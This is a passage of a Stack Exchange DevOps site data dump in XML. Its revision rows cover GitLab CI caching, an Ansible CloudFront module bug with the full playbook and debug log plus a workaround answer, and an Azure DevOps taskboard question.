strategies for building application containers given a change in a lower level dependency. I'm interested in seeing what strategies exist for this. Hopefully the strategy could be applied to other languages as well, where we have a similar strategies for applications written in languages like Java, Golang, and npm." ContentLicense="CC BY-SA 4.0" />
  <row Id="43141" PostHistoryTypeId="1" PostId="13699" RevisionGUID="4b62cc52-1df1-4639-b74f-7af8ba1394ab" CreationDate="2021-04-10T05:51:28.390" UserId="23396" Text="Testing docker image builds when low level libraries change" ContentLicense="CC BY-SA 4.0" />
  <row Id="43142" PostHistoryTypeId="3" PostId="13699" RevisionGUID="4b62cc52-1df1-4639-b74f-7af8ba1394ab" CreationDate="2021-04-10T05:51:28.390" UserId="23396" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;containers&gt;&lt;python&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43146" PostHistoryTypeId="50" PostId="13524" RevisionGUID="9c05686d-f77e-4352-8133-430ed23f6321" CreationDate="2021-04-10T21:00:15.030" UserId="-1" />
  <row Id="43147" PostHistoryTypeId="2" PostId="13700" RevisionGUID="0c35ca13-8e4c-41c9-86cc-37b27982de80" CreationDate="2021-04-10T23:07:35.483" UserId="25974" Text="Your use case is very simple, so relying on artifacts is probably sufficient and as you said the default behavior.&#xD;&#xA;&#xD;&#xA;That being said, you should probably be cautious using [artifacts](https://docs.gitlab.com/ee/ci/yaml/README.html#artifacts) unnecessarily as they are uploaded to the gitlab server. &#xD;&#xA;&#xD;&#xA;The answer to your question generally depends on a few things, like the size of your repository, network connection, runner executor type, and so on. One option is to configure a cache (in this case at the pipeline level and for the deploy just set the `GIT_STRATEGY=none`:&#xD;&#xA;&#xD;&#xA;    default:&#xD;&#xA;      cache:&#xD;&#xA;        key: &quot;$CI_COMMIT_REF_SLUG&quot;&#xD;&#xA;        paths:&#xD;&#xA;          - deployment.spec.config&#xD;&#xA;    &#xD;&#xA;    build:&#xD;&#xA;      stage: build&#xD;&#xA;      script:&#xD;&#xA;        - build something&#xD;&#xA;&#xD;&#xA;    deploy:&#xD;&#xA;      stage: deploy&#xD;&#xA;      variables:&#xD;&#xA;        GIT_STRATEGY: none&#xD;&#xA;      script:&#xD;&#xA;        - push-deployment ./deployment.spec.config&#xD;&#xA;&#xD;&#xA;An added benefit here, depending on your build process, is the possibility of caching your dependencies when running multiple pipelines against the same branch. Note that you can only cache files relative to the project build directory. " ContentLicense="CC BY-SA 4.0" />
  <row Id="43148" PostHistoryTypeId="50" PostId="12302" RevisionGUID="361cce30-3a0b-415e-9044-732affb30829" CreationDate="2021-04-11T01:01:50.193" UserId="-1" />
  <row Id="43149" PostHistoryTypeId="33" PostId="13639" RevisionGUID="b591ee0a-21a4-42db-a87c-5a069a78e5cf" CreationDate="2021-04-11T01:52:38.187" UserId="25042" Comment="71" />
  <row Id="43150" PostHistoryTypeId="5" PostId="13639" RevisionGUID="7e4bad28-cee4-4406-9860-c36e3105a45e" CreationDate="2021-04-11T01:54:53.203" UserId="25042" Comment="Added link to bug report." Text="I get an unexpected type error, for what I assume to be the &quot;origins&quot; argument to the community.aws.cloudfront_distribution module: **&quot;Error validating distribution origins: 'list' object has no attribute 'get'&quot;**&#xD;&#xA;&#xD;&#xA;I filed a bug report: https://github.com/ansible-collections/community.aws/issues/504&#xD;&#xA;&#xD;&#xA;The [documentation][1] says that **origins** should be a list with dictionary elements, which is what I have.&#xD;&#xA;&#xD;&#xA;Is this a bug, or a syntax error on my part?  I've checked my indentation and yaml thoroughly.&#xD;&#xA;&#xD;&#xA;The error message: &#xD;&#xA;```&#xD;&#xA;    &quot;msg&quot;: &quot;Error validating distribution origins: 'list' object has no attribute 'get'&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Ansible version:&#xD;&#xA;```bash&#xD;&#xA;ansible 2.10.7&#xD;&#xA;  config file = /home/bryant/src/api_guys/ansible-deploy-vst/ansible.cfg&#xD;&#xA;  configured module search path = ['/home/bryant/.ansible/plugins/modules', '/usr/share/ansible/plugins/modules']&#xD;&#xA;  ansible python module location = /home/bryant/.pyenv/versions/vst-ansible-deployment/lib/python3.9/site-packages/ansible&#xD;&#xA;  executable location = /home/bryant/.pyenv/versions/vst-ansible-deployment/bin/ansible&#xD;&#xA;  python version = 3.9.1 (default, Feb 16 2021, 14:25:16) [GCC 9.3.0]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My code, using `community.aws.cloudfront_distribution`: (it's long, but the error is in the **origins:** parameter, I believe)&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: Create Cloudfront distribution for the interface and api reverse proxy&#xD;&#xA;  community.aws.cloudfront_distribution:&#xD;&#xA;    profile: &quot;{{ vst_nongov_boto_profile }}&quot;&#xD;&#xA;    state: present&#xD;&#xA;    enabled: yes&#xD;&#xA;    caller_reference: &quot;{{ cloudfront_domain_alias }}&quot; &#xD;&#xA;    alias: &quot;{{ cloudfront_domain_alias }}&quot; &#xD;&#xA;    aliases:&#xD;&#xA;      - &quot;{{ cloudfront_domain_alias }}&quot;&#xD;&#xA;    origins:&#xD;&#xA;      # reverse proxy for api&#xD;&#xA;      - id: &quot;{{ base_domain }}&quot;&#xD;&#xA;        domain_name: &quot;{{ base_domain }}&quot;&#xD;&#xA;        custom_origin_config:&#xD;&#xA;          http_port: 80&#xD;&#xA;          https_port: 443&#xD;&#xA;          origin_keepalive_timeout: 5&#xD;&#xA;          origin_protocol_policy: &quot;https-only&quot;&#xD;&#xA;          origin_read_timeout: 10&#xD;&#xA;          origin_ssl_protocols:&#xD;&#xA;            - &quot;TLSv1.2&quot;&#xD;&#xA;      # s3 bucket for interface&#xD;&#xA;      - id: &quot;{{ s3_bucket_www_domain_name }}&quot;&#xD;&#xA;        domain_name: &quot;{{ s3_bucket_domain_name }}&quot; &#xD;&#xA;        custom_origin_config:&#xD;&#xA;          http_port: 80&#xD;&#xA;          https_port: 443&#xD;&#xA;          origin_keepalive_timeout: 5&#xD;&#xA;          origin_protocol_policy: &quot;http-only&quot;&#xD;&#xA;          origin_read_timeout: 10&#xD;&#xA;          origin_ssl_protocols:&#xD;&#xA;            - &quot;TLSv1.2&quot;&#xD;&#xA;    default_cache_behavior:&#xD;&#xA;      #   this contains as many settings as possible that are able to be&#xD;&#xA;      # replicated from the UI option caching policy&#xD;&#xA;      # &quot;Managed-CachingOptimized&quot;; some are guesses, which may need to be&#xD;&#xA;      # changed if we notice performance issues&#xD;&#xA;      target_origin_id: &quot;{{ s3_bucket_domain_name }}&quot; &#xD;&#xA;      forwarded_values:&#xD;&#xA;        allowed_methods:&#xD;&#xA;          - GET&#xD;&#xA;          - HEAD&#xD;&#xA;        items:&#xD;&#xA;          - GET&#xD;&#xA;          - HEAD&#xD;&#xA;        compress: yes&#xD;&#xA;        cookies:&#xD;&#xA;          forward: none&#xD;&#xA;        default_ttl: 86400&#xD;&#xA;        max_ttl: 31536000&#xD;&#xA;        min_ttl: 1&#xD;&#xA;        query_string: no&#xD;&#xA;        smooth_streaming: no&#xD;&#xA;        trusted_signers:&#xD;&#xA;          enabled: no&#xD;&#xA;        viewer_protocol_policy: &quot;redirect-to-https&quot;&#xD;&#xA;    cache_behaviors:&#xD;&#xA;      - path_pattern: &quot;api/*&quot;&#xD;&#xA;        target_origin_id: &quot;{{ base_domain }}&quot; &#xD;&#xA;        forwarded_values:&#xD;&#xA;          allowed_methods:&#xD;&#xA;            - GET&#xD;&#xA;            - HEAD&#xD;&#xA;          items:&#xD;&#xA;            - GET&#xD;&#xA;            - HEAD&#xD;&#xA;            - OPTIONS&#xD;&#xA;            - PUT&#xD;&#xA;            - POST&#xD;&#xA;            - PATCH&#xD;&#xA;            - DELETE&#xD;&#xA;          compress: no&#xD;&#xA;          cookies:&#xD;&#xA;            forward: all&#xD;&#xA;          default_ttl: 0&#xD;&#xA;          headers:&#xD;&#xA;            - Authorization&#xD;&#xA;            - Referer&#xD;&#xA;            - User-Agent&#xD;&#xA;          max_ttl: 0&#xD;&#xA;          min_ttl: 0&#xD;&#xA;          query_string: yes&#xD;&#xA;          query_string_cache_keys:&#xD;&#xA;            - '*'&#xD;&#xA;          smooth_streaming: no&#xD;&#xA;          trusted_signers:&#xD;&#xA;            enabled: no&#xD;&#xA;          viewer_protocol_policy: &quot;redirect-to-https&quot;&#xD;&#xA;      - path_pattern: &quot;testapi*&quot;&#xD;&#xA;        target_origin_id: &quot;{{ base_domain }}&quot; &#xD;&#xA;        forwarded_values:&#xD;&#xA;          allowed_methods:&#xD;&#xA;            - GET&#xD;&#xA;            - HEAD&#xD;&#xA;          items:&#xD;&#xA;            - GET&#xD;&#xA;            - HEAD&#xD;&#xA;          compress: no&#xD;&#xA;          cookies:&#xD;&#xA;            forward: all&#xD;&#xA;          default_ttl: 0&#xD;&#xA;          headers:&#xD;&#xA;            - Authorization&#xD;&#xA;            - User-Agent&#xD;&#xA;          max_ttl: 0&#xD;&#xA;          min_ttl: 0&#xD;&#xA;          query_string: yes&#xD;&#xA;          query_string_cache_keys:&#xD;&#xA;            - '*'&#xD;&#xA;          smooth_streaming: no&#xD;&#xA;          trusted_signers:&#xD;&#xA;            enabled: no&#xD;&#xA;          viewer_protocol_policy: &quot;redirect-to-https&quot;&#xD;&#xA;    custom_error_responses:&#xD;&#xA;      - error_caching_min_ttl: 10&#xD;&#xA;        error_code: 403&#xD;&#xA;        response_code: 200&#xD;&#xA;        response_page_path: &quot;/index.html&quot;&#xD;&#xA;      - error_caching_min_ttl: 10&#xD;&#xA;        error_code: 404&#xD;&#xA;        response_code: 200&#xD;&#xA;        response_page_path: &quot;/index.html&quot;&#xD;&#xA;    viewer_certificate:&#xD;&#xA;      acm_certificate_arn: &quot;{{ nongov_acm_cert_upload_result.certificate.arn }}&quot;&#xD;&#xA;      cloudfront_default_certificate: no&#xD;&#xA;      minimum_protocol_version: &quot;TLSv1.2_2019&quot;&#xD;&#xA;      ssl_support_method: &quot;sni-only&quot;&#xD;&#xA;    http_version: http2&#xD;&#xA;    ipv6_enabled: no&#xD;&#xA;    tags:&#xD;&#xA;      Name: &quot;{{ generic_name_tag }}&quot;&#xD;&#xA;    wait: yes&#xD;&#xA;    default_root_object: &quot;index.html&quot;&#xD;&#xA;    price_class: &quot;{{ cloudfront_price_class }}&quot;&#xD;&#xA;    comment: &quot;Cloudfront distribution for {{ base_interface_domain }} interface and API reverse proxy&quot;&#xD;&#xA;  notify: primary_cloudfront_invalidation&#xD;&#xA;  tags: cloudfront&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The full output, including the error:&#xD;&#xA;```&#xD;&#xA;TASK [aws_full_deployment : Create Cloudfront distribution for the interface and api reverse proxy] ***&#xD;&#xA;task path: /home/bryant/src/api_guys/ansible-deploy-vst/roles/aws_full_deployment/tasks/main.yml:501&#xD;&#xA;&lt;127.0.0.1&gt; ESTABLISH LOCAL CONNECTION FOR USER: bryant&#xD;&#xA;&lt;127.0.0.1&gt; EXEC /bin/sh -c 'echo ~bryant &amp;&amp; sleep 0'&#xD;&#xA;&lt;127.0.0.1&gt; EXEC /bin/sh -c '( umask 77 &amp;&amp; mkdir -p &quot;` echo /home/bryant/.ansible/tmp `&quot;&amp;&amp; mkdir &quot;` echo /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877 `&quot; &amp;&amp; echo ansible-tmp-1616796020.2343066-177081-217806658917877=&quot;` echo /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877 `&quot; ) &amp;&amp; sleep 0'&#xD;&#xA;Using module file /home/bryant/.ansible/collections/ansible_collections/community/aws/plugins/modules/cloudfront_distribution.py&#xD;&#xA;&lt;127.0.0.1&gt; PUT /home/bryant/.ansible/tmp/ansible-local-175967cbvvbt8u/tmpamrug82t TO /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877/AnsiballZ_cloudfront_distribution.py&#xD;&#xA;&lt;127.0.0.1&gt; EXEC /bin/sh -c 'chmod u+x /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877/ /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877/AnsiballZ_cloudfront_distribution.py &amp;&amp; sleep 0'&#xD;&#xA;&lt;127.0.0.1&gt; EXEC /bin/sh -c '/home/bryant/.pyenv/versions/vst-ansible-deployment/bin/python /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877/AnsiballZ_cloudfront_distribution.py &amp;&amp; sleep 0'&#xD;&#xA;&lt;127.0.0.1&gt; EXEC /bin/sh -c 'rm -f -r /home/bryant/.ansible/tmp/ansible-tmp-1616796020.2343066-177081-217806658917877/ &gt; /dev/null 2&gt;&amp;1 &amp;&amp; sleep 0'&#xD;&#xA;The full traceback is:&#xD;&#xA;Traceback (most recent call last):&#xD;&#xA;  File &quot;/tmp/ansible_community.aws.cloudfront_distribution_payload_vqd_hi9m/ansible_community.aws.cloudfront_distribution_payload.zip/ansible_collections/community/aws/plugins/modules/cloudfront_distribution.py&quot;, line 1665, in validate_origins&#xD;&#xA;  File &quot;/tmp/ansible_community.aws.cloudfront_distribution_payload_vqd_hi9m/ansible_community.aws.cloudfront_distribution_payload.zip/ansible_collections/community/aws/plugins/modules/cloudfront_distribution.py&quot;, line 1729, in validate_origin&#xD;&#xA;AttributeError: 'list' object has no attribute 'get'&#xD;&#xA;fatal: [localhost]: FAILED! =&gt; {&#xD;&#xA;    &quot;boto3_version&quot;: &quot;1.16.25&quot;,&#xD;&#xA;    &quot;botocore_version&quot;: &quot;1.19.25&quot;,&#xD;&#xA;    &quot;changed&quot;: false,&#xD;&#xA;    &quot;invocation&quot;: {&#xD;&#xA;        &quot;module_args&quot;: {&#xD;&#xA;            &quot;alias&quot;: &quot;v6-full-deployment.icloudcms.com&quot;,&#xD;&#xA;            &quot;aliases&quot;: [&#xD;&#xA;                &quot;v6-full-deployment.icloudcms.com&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;aws_access_key&quot;: null,&#xD;&#xA;            &quot;aws_ca_bundle&quot;: null,&#xD;&#xA;            &quot;aws_config&quot;: null,&#xD;&#xA;            &quot;aws_secret_key&quot;: null,&#xD;&#xA;            &quot;cache_behaviors&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;forwarded_values&quot;: {&#xD;&#xA;                        &quot;allowed_methods&quot;: [&#xD;&#xA;                            &quot;GET&quot;,&#xD;&#xA;                            &quot;HEAD&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;compress&quot;: false,&#xD;&#xA;                        &quot;cookies&quot;: {&#xD;&#xA;                            &quot;forward&quot;: &quot;all&quot;&#xD;&#xA;                        },&#xD;&#xA;                        &quot;default_ttl&quot;: 0,&#xD;&#xA;                        &quot;headers&quot;: [&#xD;&#xA;                            &quot;Authorization&quot;,&#xD;&#xA;                            &quot;Referer&quot;,&#xD;&#xA;                            &quot;User-Agent&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;items&quot;: [&#xD;&#xA;                            &quot;GET&quot;,&#xD;&#xA;                            &quot;HEAD&quot;,&#xD;&#xA;                            &quot;OPTIONS&quot;,&#xD;&#xA;                            &quot;PUT&quot;,&#xD;&#xA;                            &quot;POST&quot;,&#xD;&#xA;                            &quot;PATCH&quot;,&#xD;&#xA;                            &quot;DELETE&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;max_ttl&quot;: 0,&#xD;&#xA;                        &quot;min_ttl&quot;: 0,&#xD;&#xA;                        &quot;query_string&quot;: true,&#xD;&#xA;                        &quot;query_string_cache_keys&quot;: [&#xD;&#xA;                            &quot;*&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;smooth_streaming&quot;: false,&#xD;&#xA;                        &quot;trusted_signers&quot;: {&#xD;&#xA;                            &quot;enabled&quot;: false&#xD;&#xA;                        },&#xD;&#xA;                        &quot;viewer_protocol_policy&quot;: &quot;redirect-to-https&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;path_pattern&quot;: &quot;api/*&quot;,&#xD;&#xA;                    &quot;target_origin_id&quot;: &quot;api.v6-full-deployment.icloudcms.com&quot;&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                    &quot;forwarded_values&quot;: {&#xD;&#xA;                        &quot;allowed_methods&quot;: [&#xD;&#xA;                            &quot;GET&quot;,&#xD;&#xA;                            &quot;HEAD&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;compress&quot;: false,&#xD;&#xA;                        &quot;cookies&quot;: {&#xD;&#xA;                            &quot;forward&quot;: &quot;all&quot;&#xD;&#xA;                        },&#xD;&#xA;                        &quot;default_ttl&quot;: 0,&#xD;&#xA;                        &quot;headers&quot;: [&#xD;&#xA;                            &quot;Authorization&quot;,&#xD;&#xA;                            &quot;User-Agent&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;items&quot;: [&#xD;&#xA;                            &quot;GET&quot;,&#xD;&#xA;                            &quot;HEAD&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;max_ttl&quot;: 0,&#xD;&#xA;                        &quot;min_ttl&quot;: 0,&#xD;&#xA;                        &quot;query_string&quot;: true,&#xD;&#xA;                        &quot;query_string_cache_keys&quot;: [&#xD;&#xA;                            &quot;*&quot;&#xD;&#xA;                        ],&#xD;&#xA;                        &quot;smooth_streaming&quot;: false,&#xD;&#xA;                        &quot;trusted_signers&quot;: {&#xD;&#xA;                            &quot;enabled&quot;: false&#xD;&#xA;                        },&#xD;&#xA;                        &quot;viewer_protocol_policy&quot;: &quot;redirect-to-https&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;path_pattern&quot;: &quot;testapi*&quot;,&#xD;&#xA;                    &quot;target_origin_id&quot;: &quot;api.v6-full-deployment.icloudcms.com&quot;&#xD;&#xA;                }&#xD;&#xA;            ],&#xD;&#xA;            &quot;caller_reference&quot;: &quot;v6-full-deployment.icloudcms.com&quot;,&#xD;&#xA;            &quot;comment&quot;: &quot;Cloudfront distribution for v6-full-deployment.icloudcms.com interface and API reverse proxy&quot;,&#xD;&#xA;            &quot;custom_error_responses&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;error_caching_min_ttl&quot;: 10,&#xD;&#xA;                    &quot;error_code&quot;: 403,&#xD;&#xA;                    &quot;response_code&quot;: 200,&#xD;&#xA;                    &quot;response_page_path&quot;: &quot;/index.html&quot;&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                    &quot;error_caching_min_ttl&quot;: 10,&#xD;&#xA;                    &quot;error_code&quot;: 404,&#xD;&#xA;                    &quot;response_code&quot;: 200,&#xD;&#xA;                    &quot;response_page_path&quot;: &quot;/index.html&quot;&#xD;&#xA;                }&#xD;&#xA;            ],&#xD;&#xA;            &quot;debug_botocore_endpoint_logs&quot;: false,&#xD;&#xA;            &quot;default_cache_behavior&quot;: {&#xD;&#xA;                &quot;forwarded_values&quot;: {&#xD;&#xA;                    &quot;allowed_methods&quot;: [&#xD;&#xA;                        &quot;GET&quot;,&#xD;&#xA;                        &quot;HEAD&quot;&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;compress&quot;: true,&#xD;&#xA;                    &quot;cookies&quot;: {&#xD;&#xA;                        &quot;forward&quot;: &quot;none&quot;&#xD;&#xA;                    },&#xD;&#xA;                    &quot;default_ttl&quot;: 86400,&#xD;&#xA;                    &quot;items&quot;: [&#xD;&#xA;                        &quot;GET&quot;,&#xD;&#xA;                        &quot;HEAD&quot;&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;max_ttl&quot;: 31536000,&#xD;&#xA;                    &quot;min_ttl&quot;: 1,&#xD;&#xA;                    &quot;query_string&quot;: false,&#xD;&#xA;                    &quot;smooth_streaming&quot;: false,&#xD;&#xA;                    &quot;trusted_signers&quot;: {&#xD;&#xA;                        &quot;enabled&quot;: false&#xD;&#xA;                    },&#xD;&#xA;                    &quot;viewer_protocol_policy&quot;: &quot;redirect-to-https&quot;&#xD;&#xA;                },&#xD;&#xA;                &quot;target_origin_id&quot;: &quot;v6-full-deployment-s3-bucket.s3-website-us-gov-west-1.amazonaws.com&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;default_origin_domain_name&quot;: null,&#xD;&#xA;            &quot;default_origin_path&quot;: null,&#xD;&#xA;            &quot;default_root_object&quot;: &quot;index.html&quot;,&#xD;&#xA;            &quot;distribution_id&quot;: null,&#xD;&#xA;            &quot;e_tag&quot;: null,&#xD;&#xA;            &quot;ec2_url&quot;: null,&#xD;&#xA;            &quot;enabled&quot;: true,&#xD;&#xA;            &quot;http_version&quot;: &quot;http2&quot;,&#xD;&#xA;            &quot;ipv6_enabled&quot;: false,&#xD;&#xA;            &quot;logging&quot;: null,&#xD;&#xA;            &quot;origins&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;custom_headers&quot;: {&#xD;&#xA;                        &quot;quantity&quot;: 0&#xD;&#xA;                    },&#xD;&#xA;                    &quot;custom_origin_config&quot;: {&#xD;&#xA;                        &quot;h_t_t_p_port&quot;: 80,&#xD;&#xA;                        &quot;h_t_t_p_s_port&quot;: 443,&#xD;&#xA;                        &quot;origin_keepalive_timeout&quot;: 5,&#xD;&#xA;                        &quot;origin_protocol_policy&quot;: &quot;https-only&quot;,&#xD;&#xA;                        &quot;origin_read_timeout&quot;: 10,&#xD;&#xA;                        &quot;origin_ssl_protocols&quot;: [&#xD;&#xA;                            &quot;TLSv1.2&quot;&#xD;&#xA;                        ]&#xD;&#xA;                    },&#xD;&#xA;                    &quot;domain_name&quot;: &quot;api.v6-full-deployment.icloudcms.com&quot;,&#xD;&#xA;                    &quot;id&quot;: &quot;api.v6-full-deployment.icloudcms.com&quot;,&#xD;&#xA;                    &quot;origin_path&quot;: &quot;&quot;&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                    &quot;custom_origin_config&quot;: {&#xD;&#xA;                        &quot;http_port&quot;: 80,&#xD;&#xA;                        &quot;https_port&quot;: 443,&#xD;&#xA;                        &quot;origin_keepalive_timeout&quot;: 5,&#xD;&#xA;                        &quot;origin_protocol_policy&quot;: &quot;http-only&quot;,&#xD;&#xA;                        &quot;origin_read_timeout&quot;: 10,&#xD;&#xA;                        &quot;origin_ssl_protocols&quot;: [&#xD;&#xA;                            &quot;TLSv1.2&quot;&#xD;&#xA;                        ]&#xD;&#xA;                    },&#xD;&#xA;                    &quot;domain_name&quot;: &quot;v6-full-deployment-s3-bucket.s3-website-us-gov-west-1.amazonaws.com&quot;,&#xD;&#xA;                    &quot;id&quot;: &quot;v6-full-deployment-s3-bucket-www.s3-website-us-gov-west-1.amazonaws.com&quot;&#xD;&#xA;                }&#xD;&#xA;            ],&#xD;&#xA;            &quot;price_class&quot;: &quot;PriceClass_100&quot;,&#xD;&#xA;            &quot;profile&quot;: &quot;vst_nongov&quot;,&#xD;&#xA;            &quot;purge_aliases&quot;: false,&#xD;&#xA;            &quot;purge_cache_behaviors&quot;: false,&#xD;&#xA;            &quot;purge_custom_error_responses&quot;: false,&#xD;&#xA;            &quot;purge_origins&quot;: false,&#xD;&#xA;            &quot;purge_tags&quot;: false,&#xD;&#xA;            &quot;region&quot;: null,&#xD;&#xA;            &quot;restrictions&quot;: null,&#xD;&#xA;            &quot;security_token&quot;: null,&#xD;&#xA;            &quot;state&quot;: &quot;present&quot;,&#xD;&#xA;            &quot;tags&quot;: {&#xD;&#xA;                &quot;Name&quot;: &quot;v6-full-deployment&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;validate_certs&quot;: true,&#xD;&#xA;            &quot;viewer_certificate&quot;: {&#xD;&#xA;                &quot;acm_certificate_arn&quot;: &quot;xxxxxxxxxxOBFUSCATED&quot;,&#xD;&#xA;                &quot;cloudfront_default_certificate&quot;: false,&#xD;&#xA;                &quot;minimum_protocol_version&quot;: &quot;TLSv1.2_2019&quot;,&#xD;&#xA;                &quot;ssl_support_method&quot;: &quot;sni-only&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;wait&quot;: true,&#xD;&#xA;            &quot;wait_timeout&quot;: 1800,&#xD;&#xA;            &quot;web_acl_id&quot;: null&#xD;&#xA;        }&#xD;&#xA;    },&#xD;&#xA;    &quot;msg&quot;: &quot;Error validating distribution origins: 'list' object has no attribute 'get'&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/collections/community/aws/cloudfront_distribution_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="43151" PostHistoryTypeId="2" PostId="13701" RevisionGUID="7fd23873-c006-4a74-aae2-9fc83160d48d" CreationDate="2021-04-11T16:15:54.790" UserId="26597" Text="It's a bug; `origin_ssl_protocols` is defined as a list [here](https://github.com/ansible-collections/community.aws/blob/63769d5ffd2e3e513d06fb1b0d3d6111fef7bfb8/plugins/modules/cloudfront_distribution.py#L173-L176), then the code tries to treat it as a dict [here](https://github.com/ansible-collections/community.aws/blob/63769d5ffd2e3e513d06fb1b0d3d6111fef7bfb8/plugins/modules/cloudfront_distribution.py#L1729) (which is the line referenced in your stack trace.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="43152" PostHistoryTypeId="5" PostId="13701" RevisionGUID="ad5b3937-88cc-4563-a225-207735cef2f1" CreationDate="2021-04-11T17:17:29.160" UserId="26597" Comment="Added possible workaround" Text="It's a bug; `origin_ssl_protocols` is defined as a list [here](https://github.com/ansible-collections/community.aws/blob/63769d5ffd2e3e513d06fb1b0d3d6111fef7bfb8/plugins/modules/cloudfront_distribution.py#L173-L176), then the code tries to treat it as a dict [here](https://github.com/ansible-collections/community.aws/blob/63769d5ffd2e3e513d06fb1b0d3d6111fef7bfb8/plugins/modules/cloudfront_distribution.py#L1729) (which is the line referenced in your stack trace.)&#xD;&#xA;&#xD;&#xA;As a workaround, it looks like the code might accept&#xD;&#xA;```yaml&#xD;&#xA;          origin_ssl_protocols:&#xD;&#xA;            items:&#xD;&#xA;             - &quot;TLSv1.2&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43153" PostHistoryTypeId="2" PostId="13702" RevisionGUID="15e26e7a-2660-43ac-9a13-4c5579334f73" CreationDate="2021-04-11T20:04:50.640" UserId="27106" Text="I am not sure if this has been answered before, I have looked all over Google and can't seem to find any real answer. Apparently Microsoft allows you to view parent items to tasks in the Sprints section, and I've seen this done at my workplace when we view the Taskboard.&#xD;&#xA;&#xD;&#xA;In my own personal DevOps configuration, I've made a custom work item type called &quot;Goal&quot;, and assigned &quot;Task&quot; items as children to these &quot;Goals&quot;. However, when viewing the Taskboard, all of my tasks show as &quot;Unparented&quot;. My goals and tasks are on the same area path and iteration path.&#xD;&#xA;&#xD;&#xA;[![Task has one parent item as a Goal][1]][1] [![Taskboard not showing goals][2]][2]&#xD;&#xA;&#xD;&#xA;In my Backlog levels settings, I've created a top level portfolio backlog named &quot;Goals&quot; that only uses the &quot;Goals&quot; work item type. When I change the Iteration backlog to include &quot;Goal&quot; work items, it puts the work item type on the same iteration as &quot;Task&quot; work items, and the Taskboard does not properly populate.&#xD;&#xA;&#xD;&#xA;[![Goal backlog level][3]][3]&#xD;&#xA;&#xD;&#xA;Is there something I'm missing? I've tried to read multiple documentation pages on Microsoft's website to no avail.&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/devops/boards/backlogs/resolve-backlog-reorder-issues?view=azure-devops&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/devops/boards/backlogs/set-up-your-backlog?view=azure-devops#taskboard-types&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/devops/organizations/settings/select-backlog-navigation-levels?view=azure-devops&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/devops/boards/backlogs/organize-backlog?view=azure-devops&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/devops/organizations/settings/work/customize-process-backlogs-boards?view=azure-devops&amp;viewFallbackFrom=vsts#add-or-edit-portfolio-backlogs&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/I4Bkj.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/FMwkS.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/tkXrW.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43154" PostHistoryTypeId="1" PostId="13702" RevisionGUID="15e26e7a-2660-43ac-9a13-4c5579334f73" CreationDate="2021-04-11T20:04:50.640" UserId="27106" Text="Sprints section shows tasks as unparented" ContentLicense="CC BY-SA 4.0" />
  <row Id="43155" PostHistoryTypeId="3" PostId="13702" RevisionGUID="15e26e7a-2660-43ac-9a13-4c5579334f73" CreationDate="2021-04-11T20:04:50.640" UserId="27106" Text="&lt;workflow&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43156" PostHistoryTypeId="50" PostId="13531" RevisionGUID="9e7f5ee4-5443-4dd4-90c6-90b7aed00beb" CreationDate="2021-04-11T23:01:45.150" UserId="-1" />
